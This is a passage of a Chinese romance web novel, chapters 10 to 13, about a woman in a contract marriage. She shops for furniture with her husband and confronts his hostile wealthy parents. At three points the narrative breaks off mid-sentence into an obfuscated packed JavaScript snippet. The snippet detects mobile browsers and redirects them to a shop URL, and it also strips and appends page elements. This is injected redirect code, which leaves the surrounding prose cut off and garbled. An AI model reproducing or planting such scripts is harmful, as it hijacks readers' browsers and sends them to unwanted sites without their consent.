肩膀被他扣住,温今遥只能讪笑着:“这话您敢说我都不敢接……今天不是要去买家具吗,我想先量量房子尺寸。”她冲着银蛇一样散在地上的卷尺扬了扬下巴:“喏,还没量出来呢就被你抓包……” 她在清晨的微凉空气中还是起了一层薄汗,耳边碎发粘在如玉的侧脸,像一株尚未打苞的梅枝。 裴聿珩伸手轻轻勾去碎发,拇指在她侧脸轻轻一抹,她眼睫在他的指尖下微微闪动着,却没有避开。 他垂眸注视着她因为热而在腮边掸下的一抹红晕:“无论你想做什么,你永远可以求助我,记得了?“ 温今遥被他烛火一样灼人的眼神燎了眼,慌乱地避开,心底却在凉雾弥漫的清晨被烧暖了:“嗯,我记得了。” “还有……”他俯下身,侧过脸对上她被窗外初升的曙光点得莹亮的眼睛:“皮卡丘很可爱,我很喜欢。” “……裴聿珩!” 10. 第 10 章 等两人驱车到达目的地家居城,北城的周末早已悄然醒来。 奇美家居坐落于北城中心的商业街,地理位置极为优越,晴朗冬日的周末,商业街说一句摩肩接踵并不言过其实。 可当温今遥踏入店面的一瞬间就发现,不对劲。 偌大的家居城,竟然一个人都没有。 这正中她的下怀——北城这地方没有别的,就是人多,周末去哪都人挤人的,稍微好点的地方就得排队,回家一盘算,花在排队上面的时间要远多于真正享受的时间。 她暗自开心:还好来得早,他们能独占一整个家居城耶! 一进门温今遥就跟脱缰野马一样,被琳琅满目的家具吸引了注意,留裴聿珩一个人停在原地,跟迎上来的店长寒暄。 店长恭敬道:“昨天收到上级通知,说您跟夫人要来,我们特意重新布置了店面,清了场,您看看还有什么需求吗?” 裴聿珩的眼神没离开过温今遥的背影,心不在焉道:“都换过了?” “是,”店长垂首答道:“所有价格低于两万的家私全部撤下,已经按您的意思将最优质的放在重点位置,供二位挑选。” 裴聿珩颔首微笑:“做得很好,转告你们大区总裁,明年鸿禧新店落成,请他早做规划。” 仅仅一晚辛苦就换来这样一笔大单,年终升职加薪简直板上钉钉,店长兴奋得险些笑出来,红光满面道:“感谢!感谢裴总!您有什么吩咐,随时叫我!” 店长极有眼色地消失了,裴聿珩信步走到对着一张小案几发呆的温今遥身边,屈指轻轻挠了挠她的手掌:“喜欢吗?” 温今遥掌心一麻,条件反射似地握了握手指,却正好握住裴聿珩的指尖,瞬间触电似地松开:“……你有闪现吗,一下子就出现了。” 裴聿珩轻笑:“喜欢就把号码记下来,到时候一起结。” “不是,”温今遥指着那一方比巴掌大不了多少的案几,木着脸问:“这么大点,要两万五?”她抬起一双生无可恋的眼睛:“我怎么觉得它比北城的房价都贵?” 裴聿珩拿手机拍了号码,顺势揽过她的肩膀:“咱们这种家庭,不用看价格。” 温今遥一矮身从他怀里挣脱出来:“你不要付钱,我要自己买!” 裴聿珩怀里一空,眉心抽了抽:“有什么区别?” “有区别呀,”温今遥坚持:“如果没有我,你就不用花这些钱,所以理所应当我自己买单。” 裴聿珩眼神空了一瞬,忽然问:“你有没有想过,如果没有你,我现在在哪里?” 温今遥:“啊?” 在哪里,在哪个世家千金的温柔乡里呗…… 那种称得上破绽的表情仅仅在裴聿珩脸上停留了一刹那,他又恢复了往日温煦的表情:“好,不然这样,你去挑你觉得合适的,如果你觉得经济方面有困难,可以向我求助借款。” 温今遥信心百倍:“好!” 说完又一溜烟跑去看别的,这次学聪明了,先看价格,再看样式,结果遛了大半个店,竟没能找到一件经济实用型的。 温今遥对着大众点评上“性价比高”四个字的评价陷入了沉思。 世界通货膨胀忘记通知她了对吗? 裴聿珩姿态松弛地挑了一张纵深很宽的沙发坐了,支颐去看她像小仓鼠一样四处寻寻觅觅,间或瞥一眼手机上不停跳出的工作信息,倒像是来休假的。 不一会儿,小仓鼠臊眉耷眼地回到他身边:“裴聿珩,这家店是不是有问题,这是家黑店吧?” 裴聿珩挑着眉故作讶异:“怎么会,为什么这么说?” 温今遥警惕地看了看四周,压低声音:“这样,我先跑,你殿后,出去之后咱们就打12315……” 裴聿珩拍拍身边的座位,把自家仓鼠圈在身边:“别动,店员看着呢,你也不想我为了保密把这些人全开了吧?” 温今遥:“……” 完蛋,被拿捏了。 但裴聿珩说得对,他跟她结婚,不就是为了这种时候么? 温今遥本着自己锤炼多年的乙方心态,瞬间入戏,递了个“我懂”的眼神,身子一窝就往裴聿珩怀里蹭。 裴聿珩原本搭在沙发靠背上的手臂忽然一僵,就感觉她毛茸茸热乎乎的脑袋贴上自己的颈窝,他动作凝滞一瞬间,又若无其事地搂住她的肩膀。 他贪心不足,低头在她耳边轻声哄劝:“你看他们的态度也该知道,他们都认识我,要是你坚持自己付账,他们该怎么想?”顿了顿,他煞有介事道:“我敢保证,你周一上班就能听到我们婚变的消息。” 温今遥:“……那,那我假装什么都没看上呢?” 裴聿珩发丝轻轻戳着她的耳廓,撩起一阵麻痒:“你做了那么多调研,应该知道这个品牌是鸿禧的合作方之一?总裁夫人不满意他们的产品,是不是意味着他们不够格来投标?”裴聿珩骗人眼也不眨:“这是你想要透露给他们的消息吗?” 温今遥瞪大了眼睛。 也没人告诉她结个婚这么复杂啊! 她真被这复杂的关系糊弄住,结结巴巴道:“行、行吧……” 这么说起来,看得见的好处她占了,看不见的好处,裴聿珩可也占了不少。既然这样,那她还不如放开了选,省得因为她抠抠搜搜再让裴聿珩在生意场上面对什么枝节。 最后付钱的时候,账单长得她根本不敢看。 裴聿珩面不改色签了单:“麻烦了。” 前台小姑娘忽然脸红:“没、没什么……根据您提交的房屋尺寸标注,我们会加急办理,两周之内上门安装。” “咦?” 温今遥只来得及发出这一个疑惑之音,整个人就被裴聿珩按进怀里:“好的,谢谢。” 直到她张牙舞爪出了家居城,裴聿珩才大发慈悲放开她。 温今遥指着他:“裴聿珩!你明明有尺寸你为什么不告诉我!” 裴聿珩无辜地一耸肩,笑答:“我以为‘每间住宅都有标注尺寸的建筑图纸’是心照不宣的常识。” 温今遥瞬间变脸,眼巴巴地:“我腰疼。” 裴聿珩无奈道:“今遥,撒娇骗人可以,但是你能不能先把那只熊从背上拿下来?” 他们一次消费掉十几万,店长让温今遥挑个礼物,温今遥便随手挑了个最大最重的大熊玩偶,还生着气不让裴聿珩抱,只能自己背在背后。 温今遥哼一声,把背上的大熊扯到面前,戳着它的鼻子:“裴聿珩,你这么坏,你会被扔掉的我跟你讲!” …… 从家居城的鸡飞狗跳回到家,温今遥闹累了,难得瘫在沙发上对着热闹的综艺放空。 裴聿珩半挽着家居服的袖口,将一杯热茶轻轻放在她面前,坐到她身边:“累了?” “嗯……” 刚刚在家居城演过一次,温今遥发现他身上又暖和又好靠,衣料之下起伏的肌肉曲线正好给她提供了合适的支撑,这时候她体力耗尽,想也没想就往他身边靠了靠:“但是好开心呀。” 她也想明白了,虽然家不是自己的,家具也不是自己的,但这何尝不是一种方便,不然到时候她搬出去,还得想着怎么把家具运走,又是个麻烦。 这样好,到时候她拎包就能走,裴聿珩买的,理所应当全部留给他。 不知道为什么,想到这些,疲惫感忽然翻起一阵很高的浪头,将她压在下面,几乎动弹不得。 裴聿珩见她靠过来,动了动身子,好让她靠得更舒服些,在她将要睡去的间隙,他忽然想起小时候某个暑假,她在裴家的佣人房里一边做作业一边摸鱼打瞌睡,对推门进来的他浑然不觉。那时候他也是这样小心翼翼地坐在她身边,用身体支着她,看着她脑袋一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今遥,”他轻轻捏起她的下巴,将她的脸转回来:“信我吗?” 温今遥深深地望着他的眼睛。 当年他羽翼未丰,要跟商场上叱咤风云的父母对抗谈何容易,但今天他不同了。 他用了七年,在最该努力的时候拼尽全力,心机能力手段,样样都为人津津乐道,他不再是那个想尽办法都无法留下她的少年,而是一个胸有城府、深不可测的男人。 但温今遥不能确定,他是不是还像以前一样,是她可以无条件信任的人,尤其是在他几乎是阳谋的设计下,她不得不与他走入婚姻之后。 然而,对上这样一双眸子,她说不出不信。 温今遥抿了抿唇:“信,但没有全信。” 裴聿珩失笑:“要这么直白吗?” 温今遥无辜得很:“是你要问的。信你,但不多,也就百分之六七十的样子吧。” 裴聿珩用手撑着侧枕,似是觉得有趣:“那另外百分之三四十,你预备怎么办?” 温今遥耸耸肩:“我预备遇事不决就掀桌子,不让我好过那大家都别好过。”她抿了抿唇,又问:“法治社会,他们应该不至于弄死我吧?” 裴聿珩笑了半天,认真道:“不会,有我在,我保证不会。” 温今遥想了想,还是不太放心:“不然我们先演练一下好了,我来演易阿姨,我来骂你,你试试跟我吵,怎么样?” 裴聿珩拧了下她的鼻子,笑道:“想占我便宜,以为我看不出?” 温今遥丧气得很:“不然你还是现在就打电话回家,让易阿姨把餐桌换成大理石的吧。” 裴聿珩紧紧握了握她的手:“放心,不会有事的,我保证。” 11. 第 11 章 周末是北城冬季难得的晴天,温今遥坐在车后座,望着窗外欢快跳跃着的阳光渐渐从鳞次栉比的高楼滑入精致秀丽的城郊水岸私宅,心情比上坟还沉重。 死人起码不会从坟里爬出来打她,而现在要去见的人,可就不一定了。 掌心被另一只温暖的手掌轻轻贴住:“害怕吗?” 温今遥眼睛看着窗外,干笑一声:“我怕什么,反正要被赶出门,也是我们两个一起。” 裴聿珩坐得离她很近,低笑起来时胸腔的震动轻碰她的手臂:“说得对。” 温今遥感到他捏了捏自己的手掌,觉得不回应不太礼貌,于是曲起手指,在他宽大的掌心轻轻挠了挠。 那只手仿佛被这点小动作极大鼓励,索性直接将她的手团成拳,整个裹在掌心。 温暖干燥的触感不留空隙地包裹住她冰凉的手,以一种毋庸置疑的保护姿态。 车上这一点安抚给她的勇气,终于在温今遥站在裴家老宅门口的那一刻,彻底烟消云散。 这个地方简直在她DNA里刻下了“危险”两个字,都不用真的发生什么,她只要出现在这里,就会心跳加速,肾上腺素飙升,随时准备撒丫子逃命。 温今遥轻轻闭了闭眼,几乎不怎么费力,七年前的往事就在她脑海中昨日重现。 当时的温今遥捧着那所名不见经传的学校的录取通知,想,这跟电视剧里直接送女主出国留学的场面,差得也太多了。 后来她想明白了,裴家不是给不起,是觉得她不配。他们因为自己儿子喜欢上一个司机的女儿而感到丢脸,又不能把裴聿珩怎么样,于是把气都撒在她身上。 但温今遥没有想到的是,比她先离开的,是裴聿珩。 裴家生怕她跑掉,于是给了温全一笔钱,把温今遥接到裴家暂住。说是暂住,其实就是软禁,但也因为这样,她听见佣人们乐此不疲地嚼舌根,小少爷跟老爷大吵一架啦,小少爷挨了好狠的一顿皮带啦,小少爷又在小客厅里跪了好几天啦,这些鬼魅一样挥之不去的背景音,一直在她耳边不断不断地萦绕。 但那时候,她还是恨裴家,恨裴聿珩。只是后来,人生艰难,再大的仇,她也因为疲于奔命,恨不动了。 七年后的今天,她站在噩梦开始的地方,依然不能说她有多释然。 裴聿珩站在她身边,轻轻捏着她的手:“走吧。” 她抱着满腔沉浮不定的心思,忽然退缩:“能不去吗?” “咱们已经登记,是合法夫妻,”他垂眸看她,眼里闪着些她看不懂的情绪:“你恐怕没有后悔的机会了。” 温今遥:“……那进去吧。” 他先一步踏上台阶,按响门禁。 丁姨早等在门口,还未开门热情的声音便先一步传来:“回来啦!老裴总和太太等好久了!” 温今遥听到丁姨的声音,一阵令她时空交错的恍惚。 她还记得小时候,爸爸去接裴聿珩放学,顺便也接她,回来又不能立刻下班,时常把她放在裴家,丁姨就当个临时保姆,看着她做功课,还会给她吃些剩下的小点心。她对裴家为数不多的一些温暖的记忆,都与这个贤惠的保姆有关。 自从她被强行送走之后,温今遥再也没有见过丁姨了。 沉重大门从里面打开,丁姨在看到温今遥的一瞬间,错愕凝结在了脸上。 她不可置信地看了看裴聿珩,又低头看了看两人紧握的手,眼神近乎慌乱地在两人之间来回游动,最后只能欲言又止低下头,道:“请吧。” 在她转身的刹那,温今遥看到她停在自己身上的眼神,变成了轻蔑怨恨的一瞥。 也不难理解。丁姨是保姆,而她是司机的女儿,原本大家都是一样的,温今遥甚至更可怜一些,所以丁姨愿意对她好,可后来她不知廉耻地勾引小少爷,逼他在那么多人面前说那种混账话,这就够贱的了,想不到这么多年过去,她竟真的攀上枝头当了凤凰。 做人可以这样不要脸的吗? 丁姨心里一面不屑地腹诽,一面沉默地带着两人穿过前庭。 三人踩过庭院里稀薄疏离的阳光,在车上时还觉得冬日可爱的阳光到了这里,也变得惨淡起来,照在精致错落的院落中,却照不到人曲径幽深的心里。 到堂屋门口,丁姨头也没回,道:“我去叫……” “不忙。”裴聿珩忽然出声叫住她:“丁姨,你该叫她夫人。” 温今遥本能地想躲,手稍一瑟缩,便被裴聿珩用力握住。 他稍显粗粝的拇指轻轻摩挲她的手背,是一个不需宣之于口的安抚。 丁姨飞快抬头看了两人一眼,又垂下头,嚅嗫了半天,才小声叫:“夫人……” 裴聿珩语气平静:“她没有听见。” 丁姨深吸一口气,放大了声音:“夫人。” 温今遥感到裴聿珩鼓励的眼神正落在自己身上,便冲她点点头:“嗯,去叫人吧。” …… 温今遥坐在这个她小时候一度觉得是广场的客厅中,不可避免地浑身刺挠,不安得要命。 反观她身边的裴聿珩,从容不迫坐在她身边,一双长腿随意交叠着,表情平静得仿佛今天就是路过,顺便来吃个便饭。 旋转楼梯上传来一阵脚步声,听起来又重又乱,但还是端住了似地,走得极慢。 温今遥抬头望去,终于见到了那个让她战栗的女人。 易湘已经年过五十,保养得极好,七年的时光并未在她脸上留下什么明显痕迹,但温今遥还是看出,她老了。 她还记得那时候的易湘,跟电视上演的那种娇太太不同,她的气质来自于她对于一切的掌控,那种高贵、睥睨,不是一般的娇养主妇会有的。 这样的人发起疯来,会尤其恐怖。 可是现在她不一样了,面容表情都一如七年前那样高傲,但她身形已经开始委顿,顶级面料、裁剪极佳的旗袍也撑不起她过去笔挺的肩背,远不同于原先的的挺拔骄矜。 电光火石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634206|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瞬间,温今遥忽然想,到底易湘原先就是自己记忆里那样可怕,还是因为那时候她太渺小无力,所以将一切伤害都放得无比大,才会有那种令她瑟缩的恐惧? 她好像猛然明白,为什么裴聿珩坚持要带她回家。 温今遥做足了晚辈的礼数与客气,站起来道:“伯母。” 易湘显然是提前从丁姨那里得了消息,面上端住了冷漠的体面,声音却远不如表面平静:“又是你。” 温今遥:…… 这个“又”字,就很微妙。 既然提起了过往,温今遥也不装了,索性扬起一个恭敬的笑容:“易阿姨,好久不见。” 易湘嘴角抽搐了一瞬,从鼻子里冷哼出声,正要张嘴,裴聿珩突然站起来,上前一步:“母亲。” 易湘眼神落在他身上,眼底的愠怒一闪而过,缓步从楼梯上走下来:“你该提前说。” 裴聿珩微微笑着,不闪不退地跟她对视:“我觉得不必。” 意思再明白不过了:两人的婚姻关系已成事实,怎么公开,什么时候公开,旁人会是什么反应,这个事实都不会变,他也不会因为任何人的意见和不满,就更改这个决定。 即使是铁腕名声在外的父母,也不行。 易湘眉心的川字刻痕深深凹下,但身份和颜面不允许她表现得像个泼妇。她应该像那时候一样,用阶级和身份差异让这小丫头无地自容,知难而退。 于是她极得体地笑着:“好多年不见,长这么大了。”她跳着眉毛由上到下把温今遥全身粗粗一扫:“倒是一点没变,还是那么朴实随意。” 温今遥今天特意挑了一件乳白色裙装,不说华贵,但也简单大方,跟“随意”两个字可以说是毫无关系。华服不是没有,可今天来裴家,她憋着一口气,硬是不肯把自己塞进穿不惯的衣服里,裴聿珩自然也不强求,还挑了跟她登对的休闲装,两人站在一起,倒真的是一对眷侣。 易湘这一套,她早些年就已经听过,往年听到这些她早就自惭形秽,现在听来,反而觉得肤浅。温今遥笑答:“人穿衣服,又不是衣服穿人,舒服随意,没什么不好。” 易湘又皱眉去看裴聿珩,可他半阖着眼,一副心神全在温今遥身上,那种眼神,除了“情之所钟”之外,她想不出任何形容。 “坐吧,”易湘抹了抹裙摆,率先坐在两人中间:“既然来了,就好好叙叙旧。” 温今遥心想咱们那点旧是真没什么好叙的,多少年过去了还揪着不放么,只听深宅厚重的内门一开一关,另一个熟悉的身影也走进来。 裴崇跟温今遥记忆里的那个威严显赫的长辈没什么区别,他跟易湘总之是如出一辙的恐怖,她甚至恍惚了一瞬,眼睛不由自主向他身后找,以为还会看见她爸低眉顺眼地跟在后面。 裴崇抬眼看到温今遥,表情先是怔愣,紧接着明白过来,表情便垮了,话却是对易湘说的:“怎么回事?” 易湘鄙薄地抬了抬嘴角:“问你的好儿子。” 12. 第 12 章 一家四口两两相对围坐在餐桌旁,沉肃的气氛不像儿子儿媳来拜访,倒像是你死我活的谈判现场。 温今遥垂眸盯着面前冒着袅袅热气的茶盅,一颗心跟着里面的茶沫浮浮沉沉。 裴家什么时候开始喝带茶沫的茶了,可真新鲜。 她甚至还有余裕在心里开了个玩笑:该不会是丁姨为了下她的面子,打车跑回家专门拿来的吧? 沉浸在苦中作乐的冷笑话中不能自拔,她放在膝上的手背忽然一暖,低头去看,裴聿珩一只骨节分明的手掌正覆在她的手上。 他的手比她大很多,手背血管清晰可见,此时微微用力握住她的,指骨稍稍凸起,把她的手完全握在掌心,拇指垫在下方,正轻轻摩挲她的掌丘。 温今遥翻过手掌,将指尖根根插入他的指缝,然后紧紧十指相扣,说不清是贪恋更多安全感,还是仅仅想跟他牵手。 对面是裴崇和易湘带着严厉的审视,而在他们看不见的地方,一双手十指交缠,正沉默地攀上彼此的心。 沉默许久,裴崇先开口:“你父亲呢?最近怎么样?” 温今遥摇头:“不清楚,很久没联系了。” 当年温全给裴崇当司机,动作麻利又嘴甜,很得裴崇喜欢,所以他用裴家的车一起接送女儿,顺手拿走一些车上的东西,或者总是旁敲侧击地想要从鸿禧找些有油水的机会时,裴崇并未干涉,对温今遥也是和蔼可亲。 如果温全好好干下去,他或许真的能在裴家捞到更多的好处,如果不是七年前,温全受命接送鸿禧的一个重要客户,却在出发前喝了酒的话。 那一次奇迹般地没有出事,在那之后,客户不由分说取消了跟鸿禧的合作。当时尚在发展期的鸿禧元气大伤,险些缓不过一口气来。而当裴崇质问温全时,他竟毫无愧色地表示,工作又不是时时都有,偶尔喝点酒,不是很正常? 裴崇这才发现,多年的信任和优待,养出的不是温全的忠诚,而是他的恃宠而骄。 他立刻辞退了温全,并带着一家人上门给客户赔礼道歉,那边才看在他们一家老小低三下四的份上,撤回了决定。 那件事之后,温全终于彻底开始发疯,把主意打到女儿身上,才有了那个温今遥不愿意回想的大年夜。 听他提到温全,易湘的脸色蓦地黑了,难看得毫不掩饰,撩起眼皮剔一眼温今遥,极轻地哼笑一声,却没开口。 裴崇又问:“什么时候在一起的?” 裴聿珩率先接过话:“从她回北城工作时起,三年前吧。” 温今遥:? 早说我还有这个戏份,进来之前就多对对台词了。 易湘再忍不住:“那时你刚回国,忙得睡觉都没时间,还有功夫找她跟她谈恋爱?” 像是要佐证自己的回答,裴聿珩扣着温今遥的十指收得更紧,面上一片理所当然:“喜欢一个人,怎么都能挤出时间,什么都能为她做到,这没有什么好奇怪的。” 听得温今遥一阵鸡皮疙瘩。 太入戏了哥。 但这种时候她无论如何不能下裴总的面子,于是偏头对他粲然一笑,抿了抿唇,眼底覆上一层羞赧。 易湘:“……沈小姐到底有什么不好,怎么就比不上这个野丫头?” 她现在只后悔当年没有把温今遥留下,然后让裴聿珩直接在国外定居,别回来了。 这是离离原上草吗,怎么还春风吹又生呢。 而裴崇看着两个人眼神拉丝,微不可查地眯了眯眼:“是吗。” 温今遥他肯定是看不上的,但是现在,问题的关键不在她身上。 裴聿珩想干什么,裴崇再清楚不过——裴家把温今遥赶出北城之后,裴聿珩先是用尽手段反抗了一年半,发现自己太孱弱,丝毫没有胜算,才终于放弃,做回了从前那个温和有礼的乖儿子。 裴崇当时还在跟易湘讲,知子莫若父,要怎么对付这小子,当爹的最有办法。结果裴聿珩隐忍了六年,去年裴崇终于放心地将集团交到他的手上,他一朝翻身,就把父亲留下来的家业搅了个天翻地覆。 可见之前六年的乖顺,都是装的。 而温今遥,也不过是他使出来恶心自己亲爸的手段之一罢了。 既然裴聿珩早晚要结婚,比起门当户对的高门千金,还不如找个温今遥这样知根知底,容易控制的,省得到时候裴聿珩为了报复,再跟外人联手,把整个鸿禧都拱手让人。 这些念头只在转瞬之间,裴崇低头喝了口茶,道:“下次回来,记得把婚前协议带回来,我们也留个底。” 裴聿珩面色未改:“我们没有签婚前协议。” 裴崇猛地抬起头,目眦欲裂:“什么?!” 裴聿珩平视他的眼睛,一字一句重复:“我们没有签婚前协议。” 易湘惊得一时说不出话来,只看到旁边一道白影飞闪而过,一声瓷碗碎裂的脆响——裴崇抄起茶碗盖,抬头砸向裴聿珩! 裴聿珩躲也不躲,任碗盖直直冲着他飞来,锋利瓷片在他额角豁开一个小口子,刺目鲜血顺着眉骨流下来,他连眉头也没皱一下。 而他一双星子似的眼眸在这淋漓的血花中亮得让人心惊,他抬起眼平静地望着裴崇,眼角弯了弯,竟笑出了声、 易湘瞬间冲上去给他擦血,丁姨大呼小叫着去拿医药箱,温今遥蓦地站起身:“裴叔叔……爸!” 这一声成功让裴崇恍惚了一瞬,本该怒火冲天,火气却瞬间冷了。 他上次听到裴聿珩这么叫他,已经多少年了? 可他决不能在这样一个身份低微的女人面前露出温情。他冷哼一声:“谁是你爸?” “不认我可以,”温今遥死死抓住裴聿珩的袖子:“但是你不要打他。” 裴聿珩在她身前虚拦了一把,笑道:“法律都认你,还有谁能不认你?” 残血顺着他锋利下颌慢慢低下来,砸在裤子的皱褶处,溅起一只小小的血蝶,在温今遥心上停了一瞬,很快消失了。 易湘到底心疼儿子,冲着裴崇吼:“你干什么!把他砸出个好歹我跟你没完!” 裴崇气得太阳穴突突地蹦:砸他一下算什么,没直接掐死他,已经算是顾念父子之情了。他冷哼一声,筷子一扔,头也不回上楼了。 伤口不大,也不深,不一会儿止住了血,裴聿珩如如不动地坐在座位上,鼻观口口观心,脸上看不出一点退缩和愧疚。 倒是温今遥,牵着他的手不肯放,不放心似地,隔几秒钟就偏头去看他的伤口。 裴聿珩感觉到她的眼神,回头去寻,温今遥却在他扭头的一瞬间别开脸,假装看别处。 易湘简直要被这两人气死,可儿子刚受了伤,现在也不好发作,只能对丁姨道:“几点了,还不开饭?” 丁姨哎哎地答应着,去厨房一道一道地端出紧急另备的菜来。 要给温今遥上眼药的心简直昭然若揭——温今遥胃不好,吃不了辣,这点丁姨很清楚。现在倒好,六七道辣椒炒自己,红彤彤喜洋洋地摆了一桌子。 易湘显然是提前被丁姨科普过温今遥忌口,这时候按下脾气,温和地笑着,对温今遥说:“不用管你裴叔叔,多吃点,动筷子呀。” 温今遥:…… 你们真的不藏一藏吗我说。 她真的很想掀桌子,手指都爆着青筋抠到桌角了,裴聿珩却比她先有反应,忽然站起来,道:“今遥不吃辣,这顿饭我们就不吃了。” 易湘像是没想到他完全不讲基本法——儿媳第一次拜访,给个下马威难道不正常?用得着这样如临大敌? 她一时反应不过来,丁姨当了她的嘴替:“哪有这样的,总得吃顿饭再走啊。” 裴聿珩回头看她,脸上是未达眼底的笑意:“丁姨的意思,是要我亲自下厨做一顿饭?那我实在不知道你在这个家的用处了。” 丁姨自知做得太明显,脸上红一阵白一阵的,嚅嗫着说不出话来。 易湘忍无可忍,劈手拉起温今遥,直接将她拖进了一旁的走廊,在裴聿珩反应过来之前,一路将她拖进了小客厅,砰地关上了门。 裴聿珩一声“今遥”没叫出口,人就被关在了门外,声音不自觉冷了,带着点温今遥听不懂的颤抖:“开门。” 温今遥要去开,易湘死死扣住她肩膀不让她动弹,温今遥无奈地回头道:“易阿姨,这个儿子你到底还想不想要了?真打算送给我?” 她离门很近,小客厅的门又薄,不隔音,裴聿珩在门外听到她这句,冒顶的怒气翻涌了一瞬,竟变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你没有觊觎?”易湘颤抖着指着她:“没有觊觎你是怎么哄着我儿子跟你结婚,还不签协议的?”她冷笑着:“你爸只是蠢而已,你是坏,你比你爸可恶一百倍!” 温今遥笑了:“你说得对,我爸不是什么好东西,但你又是什么大善人呢?把我扔到一个到处都是虫子的小地方念书,民办学校学费贵上天,上了一个学期你们给的学费卡就被销了,我一个人打工赚钱读完大学,欠你们的总该还清了吧?我不明白,我爸有什么债,是你们放着他不去报复,却逼我放弃北城的名校才能还得清的?” 她的笑让这些事显得好似轻松,但里面的每一件,当时都着实扒了她一层皮,她不得不拼尽全力,才能过上普通偏下的生活。至于在最艰难的日子里面对的那些冷眼和嘲讽,倒真的不算什么了。 易湘似是被戳到痛处,当年的事她确实做得过分,但现在想起来,也还是不解气,甚至旧恨未报又添新仇,她气得肩膀抖如筛糠:“这也不是你勾引我儿子的理由!” 温今遥像是听了什么天大的笑话:“我勾引他?你现在就把他叫进来问问,到底是谁用尽心思要结婚?” 易湘一口气一下子泄了一半。 她根本不用问。 还能是谁,当然是她那个一半家业拱手让人的恋爱脑儿子。 温今遥注视着她失神的眼睛,仍是笑着:“易阿姨,你是不是真以为他对我有多情深似海?讲实话,如果当年你不管,由着我们来,我未必会跟他在一起,就算在一起,也未必能走到结婚。是你把他的感情逼成了执念,一门心思要找回过去,要跟我结婚,好像做不到就输给你们似的。要怪就怪你手段太极端,以为能捏死我,现在好了,没把我捏死,倒是把自己儿子赔进去了。” 易湘彻底失去理智,伸手拽住她的衣袖,怒吼道:“你跟他离婚!你净身出户!你再也不许出现在我们家人面前!” 过去被断送的前途和经年来背负的重担,被这句荒谬的命令挤压成了一团火,猝然点燃温今遥的理智,三两下便烧尽了她自以为的释然。她唇边勾起一个顽劣的笑:“易阿姨,梦话就不要再说了。我为什么要跟他离婚?” 她一只手臂环上易湘的肩膀,凑近了,直直对上她的眼睛:“裴聿珩,他是我的。” 13. 第 13 章 回去的路上,车里气氛安静又古怪,紧绷得令人不安。来接人的吴桓抬头看了好几次,也没从两人大相径庭的表情里咂摸出什么有效信息来。 温今遥眉头紧紧蹙着,一直扭头看着窗外——他们往回走时,夕阳已经沉入黑暗,城郊的夜晚一片漆黑,茫然无垠的夜里,只有她生气时亮色的眸子。 反观裴聿珩,面色温柔,眼底还带着复杂的喜色,第一次没在车上处理公务,而是沉静地坐着,偶尔偏头看一眼温今遥,唇角轻轻勾起一个微笑。 他听见温今遥在小客厅里跟母亲针锋相对,到最后,不知是被逼上绝路,还是故意说来气人,她竟然说他是她的。 那一瞬间的心率应该已经过了警戒线,因为他明显感觉自己呼吸加快,氧气却进不到肺里,继而由缺氧引起眩晕。 这种感觉他熟悉,通常是惊恐证发作的前兆,但这次不同,紧跟而来的不是山呼海啸一般的窒息和绝望,而是一种紧密的、扎实的快乐。 宾利在昏暗的路灯光线中沉缓前进,缓缓滑入隧道中。夜晚隧道灯光大亮,吴桓无声地打开天窗,夜风从隧道口呼啸而来,裴聿珩深吸一口气,探手捉住了温今遥的手。 手中柔弱无骨的指节微微颤动,却没有躲开,安静地被他握在手中。 夜色在一触即发的不安中静静流淌,直到两人在公寓门口下车,温今遥才开口对他说了今晚第一句话:“你先上去,我自己走走。” 裴聿珩没有动:“太晚了,明天陪你去庄园散步,好吗?” 温今遥不置可否,也没有离开,而是转身去看冬夜里依然尽职尽责喷流不息的喷泉水池。 水声在冷夜中淅沥作响,在底部蓄水池冲出一阵雪白泡沫,然后顺着水流渐渐平息,沉寂,剩下一阵无声的涟漪。 温今遥盯着平静池底下寂静的湍流,忽然道:“我知道你为什么要跟我结婚。” 裴聿珩轻轻地“嗯”了一声。 温今遥笑了下:“裴总,这法子挺牛逼的,不服不行。” 裴聿珩问:“什么法子?” “什么维持对外形象,什么跟我结婚不会被制衡,这些都不是重点。”温今遥抬头看他,眸光在一片水色中亮得令人心惊:“你之所以下套让我跟你领证,就是为了今天吧。” 裴聿珩双手插进大衣口袋,默然不语。 温今遥站在水池垫高的边缘,脚尖一下一下地点着地:“你记恨他们控制你、摆布你,哪怕过去小十年了,也要在这上面扳回一局。他们不让你跟我在一起,你就偏要跟我结婚,他们让你签婚前协议,你偏偏就跟忘了似的。你说得不错,从这点上来看,我的确是最好的人选——不,应该说,从这点上来看,你非我不可。” 裴聿珩把视线从水池挪上她的脸,这个角度,能看到她昂起的头和倔强的眼睛,还是没有做声。 温今遥鼻尖蓦地涌上一阵自己都不明白的酸涩,在它洇开成湿意之前,陡然撇开了眼睛:“你之所以要跟我结婚,就是因为恨我,所以要像你爸妈一样对你一样,把我控制在你身边,让我也尝尝你的痛苦,是吗?” 她不知道自己这是怎么了。裴聿珩不是从一开始就说得很清楚,这段婚姻是因为他有所求么,不仅是他,就连她自己,不也是因为有所图,才点头答应的么。 在结婚申请书上签字的,明明是她自己,那她现在又在委屈什么? 